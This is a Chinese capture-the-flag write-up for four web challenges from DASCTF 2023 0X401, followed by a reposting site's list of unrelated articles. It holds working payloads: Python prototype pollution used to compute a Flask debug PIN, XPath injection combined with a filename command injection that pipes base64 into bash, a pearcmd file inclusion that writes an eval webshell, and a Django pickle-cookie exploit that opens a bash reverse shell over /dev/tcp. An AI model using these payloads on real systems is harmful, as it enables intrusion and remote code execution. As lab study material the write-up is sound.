DASCTF 2023 0X401七月暑期挑战赛web复现

目录

<1> Web

(1) EzFlask(python原型链污染&flask-pin)

(2) MyPicDisk(xpath注入&文件名注入)

(3) ez_cms(pearcmd文件包含)

(4) ez_py(django框架 session处pickle反序列化)


<1> Web

(1) EzFlask(python原型链污染&flask-pin)

 进入题目 得到源码:

import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)

 flask框架题目   /console可以访问

审计一下 代码,有 /register和/login 两个路由

其中register会调用 merge()函数

 这个函数很经典 ----  之前学习JS原型链污染的时候应该经常看到  不过是python原型链污染

参考:Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖

def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)

request.data用来获得请求体的数据   不需要参数 


@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()

 根路由会返回 __file__的文件内容  因此我们可以通过原型链污染 污染__file__ 进而读取 flask计算pin码所需的要素

payload:

{"__init__":{"__globals__":{"__file__":"/etc/passwd"}},"username":"aaa","password":"aaa"}

send之后发现不行  应该是过滤了__init__  利用unicode编码绕过

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/self"}},"username":"aaa","password":"aaa"}

 查看 /etc/passwd文件   root:x:0:0:root:/root:/bin/bash

查看 /sys/class/net/eth0/address 46:2b:e9:c7:ab:06   即mac十进制为 77154419714822

查看 /etc/machine-id  得到:96cec10d3d9307792745ec3b85c89620

查看  /proc/self/cgroup 得到:0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podc70c2d47_6f15_4546_ace5_1c33afc178bb.slice/docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope

存在 /etc/machine-id 便不用再读取boot_id  /proc/self/cgroup取红色部分 

所以machine-id为: 96cec10d3d9307792745ec3b85c89620docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope

报错得到 app.py绝对路径为:/usr/local/lib/python3.10/site-packages/flask/app.py

 利用flask 计算pin码的代码,得到pin码

import hashlib
from itertools import chainprobably_public_bits = ['root'  # username 可通过/etc/passwd获取'flask.app',  # modname默认值'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.10/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]private_bits = ['77154419714822',  # /sys/class/net/eth0/address mac地址十进制'96cec10d3d9307792745ec3b85c89620docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope'# 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id   /proc/self/cgroup# 有machine-id 那就拼接machine-id + /proc/self/cgroup  否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

(2) MyPicDisk(xpath注入&文件名注入)

进入题目得到登录框   试了几个弱口令,进不去

万能密码显示登录成功,然后显示说不是admin

在源码中发现压缩包提示:

<!-- /y0u_cant_find_1t.zip -->

解压得到源码如下:

<?php
session_start();
error_reporting(0);
class FILE{public $filename;public $lasttime;public $size;public function __construct($filename){if (preg_match("/\//i", $filename)){throw new Error("hacker!");}$num = substr_count($filename, ".");if ($num != 1){throw new Error("hacker!");}if (!is_file($filename)){throw new Error("???");}$this->filename = $filename;$this->size = filesize($filename);$this->lasttime = filemtime($filename);}public function remove(){unlink($this->filename);}public function show(){echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";}public function __destruct(){system("ls -all ".$this->filename);}
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){echo '
<form method="POST">username:<input type="text" name="username"></p>password:<input type="password" name="password"></p><input type="submit" value="登录" name="submit"></p>
</form>
';$xml = simplexml_load_file('/tmp/secret.xml');if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登录失败';}else{$_SESSION['user'] = $username;echo "<script>alert('登录成功!');location.href='/index.php';</script>";}}
}
else{if ($_SESSION['user'] !== 'admin') {echo "<script>alert('you are not admin!!!!!');</script>";unset($_SESSION['user']);echo "<script>location.href='/index.php';</script>";}echo "<!-- /y0u_cant_find_1t.zip -->";if (!$_GET['file']) {foreach (scandir(".") as $filename) {if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";}}echo '<form action="index.php" method="post" enctype="multipart/form-data">选择图片:<input type="file" name="file" id=""><input type="submit" value="上传"></form>';if ($_FILES['file']) {$filename = $_FILES['file']['name'];if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {die("hacker!");}if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";} else {die('failed');}}}else{$filename = $_GET['file'];if ($_GET['todo'] === "md5"){echo md5_file($filename);}else {$file = new FILE($filename);if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {echo "<img src='../" . $filename . "'><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";} else if ($_GET['todo'] === "remove") {$file->remove();echo "<script>alert('图片已删除!');location.href='/index.php';</script>";} else if ($_GET['todo'] === "show") {$file->show();}}}
}
?>
</body>
</html>

代码审计,如果admin身份登录的话,存在文件上传点,限制了只能上传.(jpg|jpeg|gif|png|bmp) 等图片后缀

同时存在一个FILE类

class FILE{public $filename;public $lasttime;public $size;public function __construct($filename){if (preg_match("/\//i", $filename)){throw new Error("hacker!");}$num = substr_count($filename, ".");if ($num != 1){throw new Error("hacker!");}if (!is_file($filename)){throw new Error("???");}$this->filename = $filename;$this->size = filesize($filename);$this->lasttime = filemtime($filename);}public function remove(){unlink($this->filename);}public function show(){echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";}public function __destruct(){system("ls -all ".$this->filename);}
}

FILE类中的 md5_file()  is_file()   unlink() 都可以触发phar反序列化 

且__destruct()里  system("ls -all ".$this->filename); 存在命令注入  而phar文件更换后缀后仍然可以正常解析
但实际上这道题并不需要构造phar文件

  else{$filename = $_GET['file'];if ($_GET['todo'] === "md5"){echo md5_file($filename);}else {$file = new FILE($filename);

如果传参file 而不给todo传参的话,他会帮我们new一个 FILE对象,调用__construct()给$filename属性赋值  程序执行结束回收对象时,会调用__destruct()  因此实际上我们上传一个 文件名为 ;echo 命令base64编码 | base64 -d | bash;.jpg

即可执行命令

因此 现在的想法是怎么去获取admin身份,然后上传文件 文件名注入

看登录处的代码实现:

<?php$xml = simplexml_load_file('/tmp/secret.xml');if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登录失败';}else{$_SESSION['user'] = $username;echo "<script>alert('登录成功!');location.href='/index.php';</script>";}

存在xpath注入  已知 accounts结点下有一个user结点

盲注注出来user的子节点个数为2  应该是对应username和password

  注一下 user[1]/username/text()  得到 admin  那么再注一下它的密码就能登录 上传文件了

脚本如下:

得到admin密码hash值:003d7628772d6b57fec5f30ccbc82be1

somd5在线解密得到:15035371139

 成功登录

上传 ;echo bHMgLw== | base64 -d | bash;.jpg

 获得flag文件名称

 再上传 ;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q= | base64 -d | bash;.jpg

得到flag

(3) ez_cms(pearcmd文件包含)

熊海CMS的任意文件包含

/admin/ 找到后台

弱口令 admin:123456进入后台

版本为 熊海CMS V1.0  搜索发现该版本存在文件包含漏洞

漏洞存在点为 index.php?r=

/admin/index.php和/index.php两处代码一样
<?php //单一入口模式 
error_reporting(0); //关闭错误显示 
$file=addslashes($_GET['r']); //接收文件名 
$action=$file==''?'index':$file; //判断传入参数r是否为空 空的话就给$action赋值index
index include('files/'.$action.'.php'); //文件包含
?>

这里并没有过滤,存在目录遍历攻击与文件包含漏洞

这里文件上传图片🐎 上传不了 这条路行不通

我们还可以包含pearcmd 写入webshell

vps上挂上木马文件,python -m http.server开启一个http服务  利用pearcmd文件包含下载

 /admin/?r=../../../../../../../../../../../../usr/share/php/pearcmd&+download+http:/vpsip/test.php

 

 下载失败,/var/www/html/admin 目录应该是没有写权限

不过这也证实了存在pearcmd文件包含

那就利用config-create  去往 /tmp 下写入webshell   反正我们可以通过 目录遍历去包含进来

/admin/?r=../../../../../../../../../../../../usr/share/php/pearcmd&+config-create+/&/<?=eval($_POST[1])?>+/tmp/evil.php

注:要用burp传参,hackbar的话会url编码,像下图一样 导致写入的一句话无法正常解析

 写入之后,访问/admin/?r=../../../../../../tmp/evil   出现phpinfo()界面,就成功了 蚁剑连接 找到flag  

 

(4) ez_py(django框架 session处pickle反序列化)

 下载附件得到项目的代码:

from django.urls import pathfrom . import viewsurlpatterns = [path('', views.index_view, name='index'),path('login', views.login_view, name='login'),path('auth', views.auth_view, name='auth'),path('error', views.error_view, name='error')
]

 共有四个路由:

  • /
  • /login
  • /auth
  • /error

 其他都是直接return html页面,auth路由的代码如下:

def auth_view(request, onsuccess='/', onfail='/error'):username = request.POST["username"]password = request.POST["password"]user = authenticate(request, username=username, password=password)if user is not None:login(request, user)return redirect(onsuccess)else:return redirect(onfail)

重点看 settings.py 这部分内容

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'

 给了SECRET_KEY、SESSION_SERIALIZER为 PickleSerializer,应该就是利用session 进行pickle反序列化,应该是在auth认证的时候 会对session进行pickle.loads()

跟进 'django.contrib.sessions.backends.signed_cookies' 看一看 session的代码实现

发现SessionStore 的loads函数里,会调用 signing.loads() 第一个参数就是我们的session

第二个跟进,则是 PickleSerializer

 第三个不管,第四个salt是个给定的 字符串 'django.contrib.sessions.backends.signed_cookies'

因此,我们跟进 signing,查看signing的loads()函数实现

这里的serializer()传入是PickleSerializer,相当于是会调用   pickle.loads() 存在pickle反序列化

同时发现其中也有loads对应的逆过程 dumps()函数

不过 signing的dumps()函数 默认的salt和 serializer和   我们前面的参数不一致,这个好说 我们利用signing.dumps()去生成session的时候,自己手动改一下就行

全局搜索 PickleSerializer时找到了这个:

因此思路就清晰了

构造pickle反序列化恶意obj,执行反弹shell。然后利用signing的dumps() 函数去把obj转化为恶意的session

exp如下:

import urllib3
import django.core.signing
import pickle
import subprocess
import base64SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"class PickleSerializer:"""Simple wrapper around pickle to be used in signing.dumps andsigning.loads."""protocol = pickle.HIGHEST_PROTOCOLdef dumps(self, obj):return pickle.dumps(obj, self.protocol)def loads(self, data):return pickle.loads(data)class payload(object):def __reduce__(self):return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/xxxx/7777 <&1"',),-1,None,None,None,None,None,False, True))out_cookie= django.core.signing.dumps(payload(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)

得到session之后,放到sessionid里

带着session 访问/auth  弹回来shell

这里并没有弹到shell  。。。。 抓马   请教了Boogipop师傅之后,提醒说 注意生成payload时的python版本,pickle包版本等等   换成python3.5的时候弹到了

参考:DASCTF 2023 & 0X401 Web WriteUp | Boogiepop Doesn't Laugh

太强了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/18705.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件设计师(五)软件工程基础知识

一、软件工程概述 软件开发和维护过程中所遇到的各种问题称为“软件危机”。 软件工程是指应用计算机科学、数学及管理科学等原理&#xff0c;以工程化的原则和方法来解决软件问题的工程&#xff0c;其目的是提高软件生产率、提高软件质量、降低软件成本。 #mermaid-svg-h3j6K…

基于Jenkins+Python+Ubuntu+Docker的接口/UI自动化测试环境部署详细过程

基于JenkinsPythonUbuntuDocker的接口/UI自动化测试环境部署详细过程 1 Jenkins是什么&#xff1f;2 Jenkins目标是什么&#xff1f;3 什么是CI/CD?3.1 CI持续集成3.2 CD持续部署3.3 CD持续交付 4 Ubuntu环境4.1 环境需求4.2 实现思路 5 Ubuntu下安装Docker6 安装Jenkins6.1 拉…

基于Vue+ElementUI+Echarts+G2Plot的仪表盘设计器,代码完全开源

简介 &#x1f525;DashBoard基于SpringBoot、MyBatisPlus、ElementUI、G2Plot、Echarts等技术栈的仪表盘设计器&#xff0c;具备仪表盘设计、预览、资源管理、组件管理等能力&#xff0c;支持JSON、MySQL、Oracle、PostgreSQL、HTTP、JavaScript、Groovy等数据集接入&#xf…

【LeetCode每日一题】——807.保持城市天际线

文章目录 一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【题目提示】七【解题思路】八【时间频度】九【代码实现】十【提交结果】 一【题目类别】 矩阵 二【题目难度】 中等 三【题目编号】 1572.矩阵对角线元素的和 四【题目描述】 给你一…

PowerDesigner中table视图显示code与name

问题描述 使用PowerDesigner做数据库设计&#xff0c;要做评审&#xff0c;默认整体效果没有name显示&#xff0c;很不方便 1、右键单击&#xff0c;选择display 2、table->advanced 3、设置columns&#xff0c;点击右边的放大镜 4、自定义你需要显示的组件 效果图

性能测试/负载测试/压力测试之间的区别

做测试一年多来&#xff0c;虽然平时的工作都能很好的完成&#xff0c;但最近突然发现自己在关于测试的整体知识体系上面的了解很是欠缺&#xff0c;所以&#xff0c;在工作之余也做了一些测试方面的知识的补充。不足之处&#xff0c;还请大家多多交流&#xff0c;互相学习。 …

python-网络爬虫.BS4

BS4 Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库&#xff0c; 它能够通过你喜欢的转换器实现惯用的文档导航、查找、修改文档的方 式。 Beautiful Soup 4 官方文档&#xff1a;https://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/ 帮助手册&…

Appium+python自动化(三十五)- 命令启动appium之 appium服务命令行参数(超详解)

简介 前边介绍的都是通过按钮点击启动按钮来启动appium服务&#xff0c;有的小伙伴或者童鞋们乍一听可能不信&#xff0c;或者会问如何通过命令行启动appium服务呢&#xff1f;且听一一道来。 一睹为快 其实相当的简单&#xff0c;不看不知道&#xff0c;一看吓一跳&#xf…

右键文件夹 ------- 打开 vscode的方法

1、右键vscode点击属性 2、这是地址栏&#xff0c;一会复制即可 3、新建一个txt文件,将这个复制进去 Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\*\shell\VSCode] "Open with Code" "Icon""D:\\Microsoft VS Code\\Code.exe"[HKE…

docker基本命令学习 | Docker网络、Docker镜像发布

&#x1f497;wei_shuo的个人主页 &#x1f4ab;wei_shuo的学习社区 &#x1f310;Hello World &#xff01; docker安装、卸载 docker安装使用 卸载旧版本docker或者环境 [rootiZf8zdcobr3fw7vn0p3538Z /]# yum remove docker \ > docker-client \ >…

混合云:降本增效,云计算的未来趋势,企业数字化转型的王道!

随着云计算技术的不断发展&#xff0c;云计算已经成为了企业信息化的主流趋势&#xff0c;而混合云则是云计算领域发展的一个新方向。混合云指的是将公有云和私有云相结合&#xff0c;构建一种新的云计算模式。本文将从混合云的定义、特点、优势以及应用场景等方面进行阐述&…

HarmonyOS学习路之方舟开发框架—学习ArkTS语言(状态管理 三)

Link装饰器&#xff1a;父子双向同步 子组件中被Link装饰的变量与其父组件中对应的数据源建立双向数据绑定。 概述 Link装饰的变量与其父组件中的数据源共享相同的值。 装饰器使用规则说明 Link变量装饰器 说明 装饰器参数 无 同步类型 双向同步。 父组件中State, Stor…

语音合成是什么?如何进行语音合成TTS数据采集?

我们在上一篇讲到语音数据采集分为常见的两种语音数据采集类型&#xff0c;一个是语音识别数据&#xff08;ASR&#xff09;&#xff0c;另一个是语音合成&#xff08;TTS&#xff09;。这一期中&#xff0c;我们将介绍语音合成技术是什么&#xff0c;如何采集语音合成数据和制…

亚马逊店铺的回款周期是多久?

现如今&#xff0c;开亚马逊店铺可是一个技术活&#xff0c;一旦有一个环节&#xff0c;或者是一件事情没有做好&#xff0c;对整个亚马逊店铺过程中影响都是十分巨大的&#xff0c;不少亚马逊卖家就吃过这方面的亏。 很多亚马逊卖家就是吃亏在这些方面&#xff0c;现在要想开…

OpenAI的提供的Model简要介绍

OpenAI提供的model 通过OpenAI的接口可以查看所有支持的模型(目前的账号无GPT4的权限&#xff0c;所以没有列举GPT4相关的模型)。 import os import openai import pandas as pd from IPython.display import displayopenai.api_key os.getenv("OPENAI_API_KEY")…

瀑布流布局columns

瀑布流布局其核心是基于一个网格的布局&#xff0c;而且每行包含的项目列表高度是随机的&#xff08;随着自己内容动态变化高度&#xff09;&#xff0c;同时每个项目列表呈堆栈形式排列&#xff0c;最为关键的是&#xff0c;堆栈之间彼此之间没有多余的间距差存大。还是上张图…

【UI自动化测试】Jenkins配置

前一段时间帮助团队搭建了UI自动化环境&#xff0c;这里将Jenkins环境的一些配置分享给大家。 背景&#xff1a; 团队下半年的目标之一是实现自动化测试&#xff0c;这里要吐槽一下&#xff0c;之前开发的测试平台了&#xff0c;最初的目的是用来做接口自动化测试和性能测试&…

Django系列之DRF简单使用

基于ModelViewSets的简单使用 models.py from django.db import modelsclass AuthorDetail(models.Model):gender models.CharField(max_length8)birthday models.DateField()telephone models.BigIntegerField()addr models.CharField(max_length64)class Author(models…

FPGA项目设计:数字时钟

项目要求&#xff1a; 设计一个数字时钟&#xff0c;数码管前两位显示小时&#xff0c;数码管中间两位显示分钟&#xff0c;数码管后面两位显示秒。 项目设计&#xff1a; 系统框架图&#xff1a; 计数模块时序图&#xff1a; 代码实现&#xff1a; 计数模块&#xff1a; /…

AndroidStudio查看AOSP的两种方法

作者&#xff1a;利维亚的杰洛特 本篇文章主要分享一些自己平时工作中使用AndroidStudio查看aosp的方法&#xff0c;同时抛砖引玉&#xff0c;希望知道其它便利有效的查看调试方式技巧的大佬们能够不吝赐教&#xff0c;大家互相分享&#xff0c;共同进步。 如果直接用AndroidS…